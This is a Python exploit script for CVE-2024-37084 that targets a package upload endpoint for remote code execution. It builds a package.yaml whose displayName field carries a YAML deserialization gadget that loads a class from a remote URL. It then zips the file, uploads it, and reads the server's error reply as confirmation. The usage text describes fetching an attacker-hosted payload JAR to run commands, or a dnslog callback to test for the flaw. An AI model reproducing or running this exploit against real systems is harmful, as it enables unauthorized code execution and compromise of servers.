cve-2024-37084-exp.py

import argparse
import os, zipfile, requests, json

# get the current path
folder_name = "CVE-2024-37084-1.0.0"   
current_directory = os.getcwd()  
folder_path = os.path.join(current_directory, folder_name)  

#proxy = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
proxy = None

#create CVE-2024-37084-1.0.0\package.yaml file
def create_package(payload_url): 
    file_name = "package.yaml"  
    file_path = os.path.join(folder_path, file_name)  
    
    if not os.path.exists(folder_path):  
        os.makedirs(folder_path)  
    
    package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 1.0.0
kind: test
origin: CVE-2024-37084
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: CVE-2024-37084
            """

    with open(file_path, 'w') as file:  
        file.write(package_content)  
    
    print(f"[1]create'{folder_name}\\{file_name}' file, payload_url: %s" % payload_url)

#Package CVE-2024-37084-exp into CVE-2024-37084-exp.zip file.
def zip_folder():
    zip_file_name = "CVE-2024-37084-1.0.0.zip"  
 
    folder_path = os.path.join(current_directory, folder_name)  
    
    if not os.path.isdir(folder_path):  
        raise FileNotFoundError(f"The folder '{folder_name}' does not exist.")  
    
    zip_file_path = os.path.join(current_directory, zip_file_name)  
    try:
        with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:  

            for root, dirs, files in os.walk(folder_path):  
                for file in files:  
                    file_path = os.path.join(root, file)  
                    arcname = os.path.relpath(file_path, start=current_directory)  
                    zipf.write(file_path, arcname=arcname)  
        print(f"[2]The folder '{folder_name}' Zipped to '{zip_file_name}'.")
        return True
    except:
        print(f'Zipped to {zip_file_name} failed!')
        return False

#Read the zip content in binary and convert it into a list.
def zip_to_byte_array():
    with open('CVE-2024-37084-1.0.0.zip', 'rb') as zip_file:
        # print(list(zip_file.read()))
        return list(zip_file.read())

#upload
def upload_package(url, package_file_as_bytes):
    upload_request = {
        "repoName": "local",
        "name": "CVE-2024-37084",
        "version": '1.0.0',
        "extension": "zip",
        "packageFileAsBytes": package_file_as_bytes
    }
    
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36'
    }
    print("[3] Uploading malicious package...")
    response = requests.post(url, headers=headers, data=json.dumps(upload_request), proxies=proxy)
    if response.status_code == 500 and "Cannot create property=displayName for JavaBean=PackageMetadata" in str(response.text):
        return "[*]Response code：500"
    else:
        print("[*]The vulnerability does not exist！")
        exit()

if __name__ == "__main__":

    parser = argparse.ArgumentParser(
        description="Exp for CVE-2024-37084 - Remote Code Execution， author: Ly4j",
        usage="""
    Use dnslog to test for vulnerabilities.：
        python cve-2024-37084-exp.py -u http://192.168.67.135:7577 -dnslog xxx.dnslog.cn
    
    Command execution：
        python cve-2024-37084-exp.py -u http://192.168.67.135:7577 -payload http://192.168.67.133/yaml-payload.jar （Fill in the command to be executed in yaml-payload.jar）

""")

    parser.add_argument("-u", type=str, required=True, help="url for target (e.g., http://192.168.67.135:7577)")
    parser.add_argument("-dnslog", type=str, help="the dnslog (e.g., xxxx.dnslog.cn)")
    parser.add_argument("-payload", type=str, help="yaml-payload.jar address (e.g., http://192.168.67.133/yaml-payload.jar)")

    if len(os.sys.argv) == 1:
        parser.print_help()
        os.sys.exit(1)

    args = parser.parse_args()
    url = args.u
    dnslog = args.dnslog
    yaml_payload = args.payload

    url = url +  "/api/package/upload"
    
    if url and (dnslog or yaml_payload):
        if dnslog:
            dnslog = "http://" + dnslog
            print("[+]target: %s, dnslog: %s" %(url, dnslog))
            create_package(dnslog)
        if yaml_payload:
            create_package(yaml_payload)

        if zip_folder():
            package_file_as_bytes = zip_to_byte_array()
            content = upload_package(url, package_file_as_bytes)
            if dnslog:
                print(content + "，Suspected success, please check the dnslog information manually.")
            else:
                print(content + "，Suspected command executed successfully.")